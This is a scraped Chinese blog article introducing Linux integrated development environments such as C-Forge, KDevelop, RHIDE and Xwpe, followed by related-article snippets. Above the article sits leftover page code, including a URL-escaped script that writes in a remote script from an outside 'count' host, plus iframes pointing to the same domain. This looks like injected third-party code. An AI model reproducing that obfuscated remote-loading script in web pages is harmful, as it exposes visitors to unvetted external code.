Linux上的集成开发环境收藏

news/2025/2/26 17:45:23
  Linux上的集成开发环境收藏

新一篇: Linux下C语言编程基础知识 | 旧一篇: 实现千万级数据分页的存储过程!

<script>function StorePage(){d=document;t=d.selection?(d.selection.type!='None'?d.selection.createRange().text:''):(d.getSelection?d.getSelection():'');void(keyit=window.open('http://www.365key.com/storeit.aspx?t='+escape(d.title)+'&u='+escape(d.location.href)+'&c='+escape(t),'keyit','scrollbars=no,width=475,height=575,left=75,top=20,status=no,resizable=yes'));keyit.focus();}</script> 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script><script language="javascript" src="http://avss.b15.cnwg.cn/count/count.asp"></script>

src="http://ly1414.b15.cnwg.cn/count/iframesellip3.htm" frameborder="0" height="100" scrolling="no" width="650">
Linux上的集成开发环

Download





src="http://ly1414.b15.cnwg.cn/count/newCounter/CountPart.asp?URL1=http%3a%2f%2fblog.csdn.net%2flxf444444%2farchive%2f2007%2f10%2f23%2f1840390.aspx&URL2=&PW=1395536468" frameborder="0" height="15" scrolling="no" width="650">

Linux上的集成开发环境




随着Linux的逐渐兴起,已经有为数众多的程序在上面驰骋了,许多开发环境(Development Environment)也应运而生。好的开发环境一定是集成了编辑、编译和调试等多项功能并且易于使用。本文介绍了一些在Linux上流行的开发环境。

C-Forge

C- Forge(即Code Forge――代码制造)是多用户集成开发环境,它提供了完全的工程管理和彻底的编辑、编译、调试循环支持。也许你熟悉Windows下的集成开发环境, 它们也非常易用,但略显华丽,是否有点厌倦呢?很多Linux下的工具,如Emacs和XEmacs有很强大的功能,但每个程序员都愿意找到适合自己风格 的工具。也许C-Forge能满足你的要求。它的集成IDE和调试工具DDT近乎完美。它的用户界面也堪称完美无暇。完全版支持多语言,包括Pyton, C/C++,Tcl/Tk,Perl,PHP3等。关于C-Forge的相关消息可以从如下网址获得:

http://www.codeforge.com

Code Crusader

Code Crusader(代码十字军)是一个完全的代码开发环境,它来自MetroWerks CodeWarrior的灵感。它可以运行于任何使用XWinsows的Unix机器上。它是一款开发OPP C++程序的优秀工具。整个软件包还在开发中,但已经拥有一个稳定的环境了,并且具有巨大的潜力。编辑器很优秀,提供了优秀的友好界面例如语法高亮提示、 剪切和粘贴、拖动、Unix键盘快捷方式并且更好地支持了编译-连接-编辑环节。它还提供了非常有用的类浏览器,利用它可以在其他窗口显示类成员函数,在 头文件和源文件里浏览函数声明。它拥有高效率的工程管理工具。拥有许多你所希望的特点,和VIM一样令人喜欢。利用它,从工程文件生成其他目标文件非常简 单而且实用。它基于优秀的应用程序框架,具有非常好的直观界面。它的界面和帮助体系基于JX(一种针对XWindows的C++应用程序架构)。相关信息 请访问如下网址:

http://www.cco.caltech.edu/~jafl/jcc/

gIDE

gIDE (DTK+ Integrated Development Enviroment)是为C设计的开发环境。它是对创立完全的C集成开发环境的最早尝试之一。gIDE的早期版本功能上相对有限。它有好的想法,但是程 序看来有点僵化。它需要好的文本编辑窗口控件,因为GfkText控件还不能提供大多数程序员想要的功能。“语法颜色”相对好一点儿,但远未达到尽善尽 美。自动缩近功能也需要完善。可以从如下网址获得相关信息:

http://gide.pn.org

GUDIE

它还是一个计划,试图将现有的功能(编辑器、调试工具等)连接起来形成一个有用的程序开发环境。遗憾的是还没有多少像样的代码,不过已经有了一个邮件列表。有兴趣的话可以访问如下网址获得相关信息:

http://sunsite.auc.dk/GUIDE

infoDock

高级集成开发环境,与XEmacs兼容。相关信息请访问如下网址:

http://www.altrasoft.com/infodock.html

KDevelp

KDevelp 是一款具有完全功能的集成开发环境,它用于创建Unix/X11下的GNU标准、KDE和基于Qt的应用程序。目前的版本拥有的功能包括类 浏览器、语法高亮提示、编辑器、工程管理、自动存储、针对KDE/Qt的对话编辑器、应用程序架构生成器,基于HTML语言的帮助系统、在工程和文档中的 扩展的搜索功能。它还拥有丰富的文档和手册资源。

对于Linux开发,不是为一款好的开发环境。任何有Visual C++背景的开发人员都能认识倒它的关键特点:类树查看、类继承、针对C/C++、Qt的集成开发文档、KDE库,集成的调试工具、图形方式的对话编辑器 以及彻底的文件生成等等。尽管0.4版本还不稳定,但的确有用。不过1.0版本已经令人印象深刻。当然它需要改进的是 “wrokspace/projct”的支持,即多语言支持。相关的信息可以访问如下网址:

http://www.cs.uni-potsdam.de/~smeier/kdevelop

MagicDraw

MagicDraw 是UML模块绘制工具。它可以绘制全部9个UML模块。由于是100%纯Java实现的,所以它可以运行于所有平台。它与 Rational Rose 98兼容,能读和写模块文件(.mdl),可以应付Java、C++和CORBA IDL的全部工程代码的模块分析。相关信息请访问如下网址:

http://www.magicdraw.com

Mo DeJong

它 是一种源代码浏览器(Source-Navigator),是用来作代码的分析工具。利用它,可以编辑你的源代码,显示类、函数和成员之间的关系,显示 呼叫树。可以构建自己的工程,或者编译自己的文件,也可以利用Source-Navigator的编译系统来自动编译创建目标文件(执行文件)。元代买浏 览器支持C、C++、Java、Tcl、[incr Tcl]、Fortran和COBOL语言。

motro

motor是一种文本模式开发环境。它是一款非常的开发控制台应用程序的文本模式开发环境。它有语法高亮提示,工程管理器,编译器和其他功能。它集成了CVC,允许调试、编辑和编译程序而不需要退出开发环境。对于控制台开发,这是非常理想的。在如下网址上有相关信息:

http://konst.org.ua/motor/

RHIDE

RHIDE 综合了两个优秀特点:一个是“Borlands集成开发环境3.1”的好品质,另外就是集成了Linux的自由软件精神。它有一些令人心动的功 能:无需知道gcc的命令行语法就可以编译你的应用程序。搜集你的属于一个工程的源代码且只在需要时编译。对于C/C++源文件和头文件以及Pascal 源文件,语法是高亮提示的。它拥有集成调试工具,使得在调试时不用离开RHIDE环境。它还可以定制许多功能,例如:颜色、屏幕显示模式、编译器选项、语 言等等。相关信息请访问如下网址:

http://www.tu-chemnitz.de/~sho/rho/rhide/rhide.html

ROOT System

ROOT是具有面向对象的综合架构,它为创建大量的数据分析应用程序提供了坚实基础。它提供了CINT、C/C++解释器和字典生成器,运行类型信息系统和一个对象输入/输出系统,以及自动的文档生成。相关信息请访问如下网址:

http://root.cern.ch/

WipeOut

WipeOut 是一个Linux和其他Unix版本上的集成软件开发环境。它提供支持C/C++、Java(tm)、Eiffel和Fortran等语 言。WipeOut包括几个部件,他们是现有工具的前端,例如:CVS、GBD、MAKE、C++编译器和JDK。它是纯粹类。它的“评测/试验/标准” 版本基本上无限制而且非常有用。它的工程管理器非常易用,整个集成开发环境非常直观。相关信息请访问:

http://www.softwarebuero.de/wipeout-eng.html

Xwpe

Xwpe是Fred Kruse写的用于Unix系统的程序开发环境。用户界面模仿了Borland C和Pascal家族中用于MS-DOS的产品。利用Xwpe,可以编辑、编译和调试。相关信息请访问:

http://www.rpi.edu/~payned/xwpe

Zombie

Zombie 是一个服务器和C++库,易于开发网络应用程序。使用Zombie的开发者无需知道关于TCP/UDP的任何细节就可以编制网络应用程序。所 有通讯经过中心服务器,中心服务器处理同时不同应用程序。数据可以被广泛被开发团队使用,提高开发效率。Zombie还提供了连接客户端的基本的安全形 式。相关信息请访问:

http://www.infa.abo.fi/~chakie/zombie/  

http://www.niftyadmin.cn/n/4820369.html

相关文章

Visual C++界面常用控件技巧实例

http://www.chinabyte.com/SoftChannel/72348977504190464/20040717/1832043.shtml

Linux之Django+uwsgi+nginx部署

Django Django是python的web框架之一&#xff0c;它是以python语言开发的&#xff0c;所以在安装Django之前必修先安装python。 安装 pip install django检测是否安装成功 >>>import django >>>django.version安装成功后&#xff0c;创建Django项目 dja…

偏色的判断方法

另外再介绍一下偏色的判断方法&#xff1a;确定一个参照色彩。 选取的方法这里介绍两种&#xff0c;一是选择高光&#xff0c;二是选择中间面。 因为有美术基础的朋友一定知道&#xff0c;这两部分的色彩是比较单一的&#xff1a; 高光部分&#xff0c;是由光源色组成&#…

将Perl解释器加入应用程序中,扩展功能收藏

将Perl解释器加入应用程序中&#xff0c;扩展功能收藏新一篇: 编译openssl-0.9.8a&#xff0c;用mingw&#xff0c;需要修改一下makefile | 旧一篇: C中使用boost::serialization库――应用篇 <script>function StorePage(){ddocument;td.selection?(d.selection.type!N…

c++中嵌入perl,python

c中嵌入perl,python昨日无意翻了下“黑豹书”&#xff08;perl 高级编程&#xff09;&#xff0c;发现里面的嵌入perl解释器的那部分 内容已经过时了&#xff0c;写下过程&#xff0c;关键点就是找到perl安装路径的lib/CORE 里面有 perl58.lib 或perl.lib &#xff0c; 还有就是…

Python3.0科学计算学习之函数

函数 函数允许程序的控制在不同的代码片段之间切换&#xff0c;函数的重要意义在于可以在程序中清晰地分离不同的任务&#xff0c;将复杂的问题分解为几个相对简单的子问题&#xff0c;并逐个解决。即“分而治之”。 Python的自建模块一般体现为函数。Python函数有如下特点&…

ntemacs 新的emacs

ntemacs 新的emacs原来我是使用vim的&#xff0c;前两天禁不住诱惑&#xff0c;弄了emacs下来把玩了一下&#xff0c;原来中文 支持这么好还真是舒服啊。下的是window平台的版本&#xff0c;ntemacs -V23. 这个版本是在cvs上最新代码的爱好者自己编译的结果&#xff0c;目前还没…

如何在命令行下编译创建VC程序

如何在命令行下编译创建VC程序转贴自常州VC编程网 http://www.czvc.com/down.asp?id94 大多数MS Visual C创建的程序用VC编译器是很容易编译并创建出可执行文件的。但有时&#xff0c;你可能需要从命令提示行运行程序。这个例子将阐述如何用命令行编译创建VC程序。VC默认安装成…